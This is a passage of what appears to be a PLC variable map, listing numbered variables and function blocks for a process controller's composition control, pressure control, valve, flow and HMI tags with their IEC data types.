+116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +240;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;SCALE_TO_SIGNED; +241;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;BOOL; +242;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;BOOL; +243;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;INT; +245;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;UINT; +246;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;UINT; +247;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;INT; +248;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;SCALE_TO_SIGNED; +249;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;BOOL; +251;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;UINT; +252;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;INT; +253;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;UINT; +254;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;INT; +256;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;SCALE_TO_SIGNED; +257;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;BOOL; +258;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;BOOL; +259;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;UINT; +260;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;INT; +261;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;UINT; +262;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;UINT; +263;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;INT; +264;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;SCALE_TO_SIGNED; +265;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;BOOL; +266;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;BOOL; +267;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;UINT; 